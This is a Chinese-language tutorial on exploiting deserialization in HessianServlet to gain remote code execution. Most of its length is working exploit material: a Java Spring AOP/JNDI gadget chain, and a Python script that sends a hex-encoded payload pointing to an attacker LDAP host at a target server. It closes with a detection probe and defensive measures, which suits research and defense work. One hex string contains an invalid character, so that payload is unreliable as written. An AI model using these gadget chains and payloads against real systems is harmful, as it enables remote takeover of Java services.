HessianServlet的实战化探究
字数 959 2025-08-22 12:22:24
HessianServlet反序列化漏洞实战分析
一、漏洞背景
Hessian是一种基于HTTP的轻量级RPC协议,常用于Java应用间的远程调用。HessianServlet是Hessian协议的服务端实现,当处理客户端请求时会进行反序列化操作,存在反序列化漏洞风险。
二、环境搭建
1. 依赖环境
- Spring Boot 2.7.6
- Hessian 4.0.60
- Java 8u66
2. 示例代码结构
IUserService接口
package org.example;
public interface IUserService {
String getUserById(Object userId);
}
UserServiceImpl实现类
package org.example;
public class UserServiceImpl implements IUserService {
@Override
public String getUserById(Object userId) {
return "User: " + userId;
}
}
Hessian配置类
package org.example;
import com.caucho.hessian.server.HessianServlet;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class HessianConfig {
@Bean
public ServletRegistrationBean<HessianServlet> hessianServlet() {
HessianServlet hessianServlet = new HessianServlet();
hessianServlet.setHomeAPI(IUserService.class);
hessianServlet.setHome(new UserServiceImpl());
ServletRegistrationBean<HessianServlet> bean =
new ServletRegistrationBean<>(hessianServlet, "/hessian");
bean.setLoadOnStartup(1);
return bean;
}
}
三、漏洞分析
1. 调用链分析
HessianServlet#service处理HTTP请求HessianServlet#invoke调用服务方法HessianSkeleton#invoke区分协议类型- 最终到达
readObject反序列化点
2. 关键反序列化点
- 方法参数反序列化:对远程调用方法的参数进行
readObject - 协议头反序列化:处理Hessian协议头时的
readHeader
四、漏洞利用
1. 利用链构造
使用Spring框架的SimpleJndiBeanFactory结合JNDI注入实现RCE:
public static void main(String[] args) throws Exception {
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
HessianProxyFactory factory = new HessianProxyFactory();
factory.setOverloadEnabled(true);
factory.setSerializerFactory(serializerFactory);
IUserService userService = (IUserService) factory.create(
IUserService.class, "http://localhost:8080/hessian");
String url = "ldap://127.0.0.1:1389/rtj7ss";
// 构造SimpleJndiBeanFactory
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
// 构造BeanFactoryAspectInstanceFactory
AspectInstanceFactory beanFactoryAspectInstanceFactory =
createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFiled(beanFactoryAspectInstanceFactory, "name", url);
// 构造AspectJAroundAdvice
AbstractAspectJAdvice aspectJAroundAdvice =
createWithoutConstructor(AspectJAroundAdvice.class);
setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
// 构造AspectJPointcutAdvisor
AspectJPointcutAdvisor aspectJPointcutAdvisor =
createWithoutConstructor(AspectJPointcutAdvisor.class);
setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
// 构造PartiallyComparableAdvisorHolder
Class<?> aClass = Class.forName(
"org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object partially = createWithoutConstructor(aClass);
setFiled(partially, "advisor", aspectJPointcutAdvisor);
// 构造HotSwappableTargetSource
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));
// 构造触发HashMap
HashMap hashMap = new HashMap();
hashMap.put(targetSource1, "111");
hashMap.put(targetSource2, "222");
// 触发漏洞
String id = userService.getUserById(hashMap);
System.out.println(id);
}
2. 手动构造Hessian协议
方法参数利用脚本
import socket
def send_serialized_data(host, port, serialized_data):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
http_request = (
"POST /hessian HTTP/1.1\r\n"
"Content-Type: x-application/hessian\r\n"
"Accept-Encoding: deflate\r\n"
"User-Agent: Java/1.8.0_66\r\n"
f"Host: {host}:{port}\r\n"
"Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2\r\n"
"Connection: keep-alive\r\n"
f"Content-Length: {len(serialized_data)}\r\n"
"\r\n"
)
full_request = http_request.encode() + serialized_data
s.sendall(full_request)
response = s.recv(4096)
print(response.decode())
method_name = 'getUserById'
ldap_address = 'ldap://attacker.com/exploit'
ldap_length = len(ldap_address)
method_name_hex = method_name.encode().hex()
ldap_address_hex = ldap_address.encode().hex()
ldap_length_hex = f'{ldap_length:04x}'[:4]
serialized_data = (
'6302006d00' + '{:02x}'.format(len(method_name)) + method_name_hex +
'4d7400004d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d74006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c64657253000761647669736f724d7400366f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a506f696e7463757441647669736f725300056f726465724e5300066164766963654d7400336f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a41726f756e6441647669636553000e6465636c6172696e67436c6173734e53000a6d6574686f644e616d654e53000a6173706563744e616d654e5300106465636c61726174696f6e4f72646572490000000053000c7468726f77696e674e616d654e53000d72657475726e696e674e616d654e530017646973636f766572656452657475726e696e67547970654e530016646973636f76657265645468726f77696e67547970654e5300166a6f696e506f696e74417267756d656e74496e64657849000000005300206a6f696e506f696e7453746174696350617274417267756d656e74496e6465784900000000530015617267756d656e7473496e74726f737065637465644653001e646973636f766572656452657475726e696e6747656e65726963547970654e53000e706172616d6574657254797065734e530008706f696e746375744e530015617370656374496e7374616e6365466163746f72794d74004b6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e616e6e6f746174696f6e2e4265616e466163746f7279417370656374496e7374616e6365466163746f72795300046e616d6553' +
ldap_length_hex + ldap_address_hex +
'53000b6265616e466163746f72794d7400366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f727953000b7265736f7572636552656654530012736861726561626c655265736f7572636573567400116a6176612e7574696c2e486173685365746c000000007a53001073696e676c65746f6e4f626a656374734d7400007a53000d7265736f7572636554797065734d7400007a5300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f72797a53000c6a6e646954656d706c6174654d7400256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174655300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346j4c6f636174696f6e41776172654c6f675300046e616d655300256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174657a53000b656e7669726f6e6d656e744e7a7a53000e6173706563744d657461646174614e7a53000d617267756d656e744e616d65734e530010617267756d656e7442696e64696e67734e7a530008706f696e746375744e7a53000a636f6d70617261746f724e7a7a5300033131314d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d7400206f72672e6170616368652e78706174682e6f626a656374732e58537472696e675300056d5f6f626a5300036161615300086d5f706172656e744E7a7a5300033232327a7a'
)
serialized_data = bytes.fromhex(serialized_data)
host = 'target.com'
port = 8080
send_serialized_data(host, port, serialized_data)
协议头利用脚本
import io
def write_header(name, output_stream):
output_stream.write(bytes([72])) # 'H' header
output_stream.write((len(name) >> 8).to_bytes(1, byteorder='big'))
output_stream.write((len(name) & 0xFF).to_bytes(1, byteorder='big'))
output_stream.write(name.encode())
output_stream = io.BytesIO()
write_header("ExploitHeader", output_stream)
print(output_stream.getvalue().hex())
五、检测与防御
1. 漏洞检测方法
依赖检测
检查项目中是否使用了Hessian库,特别是4.x版本。
协议探测
可以通过发送特制的序列化数据探测是否存在漏洞:
serialized_data = (
'6302006d00' + '{:02x}'.format(len('getUserById')) + '6765745573657242794964' +
'567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c000000007a567400116a6176612e7574696c2e486173685365746c000000014d74000f6a6176612e6c616e672e436c6173735300046e616d6553006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c6465727a7a7a567400116a6176612e7574696c2e486173685365746c000000035200000014520000001652000000157a7a567400116a6176612e7574696c2e486173685365746c000000035200000013520000001652000000177a7a567400116a6176612e7574696c2e486173685365746c000000035200000012520000001652000000187a7a567400116a6176612e7574696c2e486173685365746c000000035200000011520000001652000000197a7a567400116a6176612e7574696c2e486173685365746c0000000352000000105200000016520000001a7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000f5200000016520000001b7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000e5200000016520000001c7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000d5200000016520000001d7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000c5200000016520000001e7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000b5200000016520000001f7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000a520000001652000000207a7a567400116a6176612e7574696c2e486173685365746c000000035200000009520000001652000000217a7a567400116a6176612e7574696c2e486173685365746c000000035200000008520000001652000000227a7a567400116a6176612e7574696c2e486173685365746c000000035200000007520000001652000000237a7a567400116a6176612e7574696c2e486173685365746c000000035200000006520000001652000000247a7a567400116a6176612e7574696c2e486173685365746c000000035200000005520000001652000000257a7a567400116a6176612e7574696c2e486173685365746c000000035200000004520000001652000000267a7a567400116a6176612e7574696c2e486173685365746c000000035200000003520000001652000000277a7a567400116a6176612e7574696c2e486173685365746c000000035200000002520000001652000000287a7a7a'
)
2. 防御措施
- 升级Hessian版本:使用最新版本的Hessian库
- 反序列化过滤:实现自定义的
SerializerFactory,重写getObjectDeserializer方法进行过滤 - JNDI防护:设置
com.sun.jndi.ldap.object.trustURLCodebase为false - 网络隔离:限制Hessian服务的访问权限
- 使用白名单:对反序列化的类进行严格限制
六、总结
HessianServlet反序列化漏洞主要存在于参数处理和协议头解析过程中,通过精心构造的序列化数据可以实现RCE。防御此类漏洞需要从代码层面和运行环境两方面入手,既要升级依赖库,也要实施严格的反序列化过滤策略。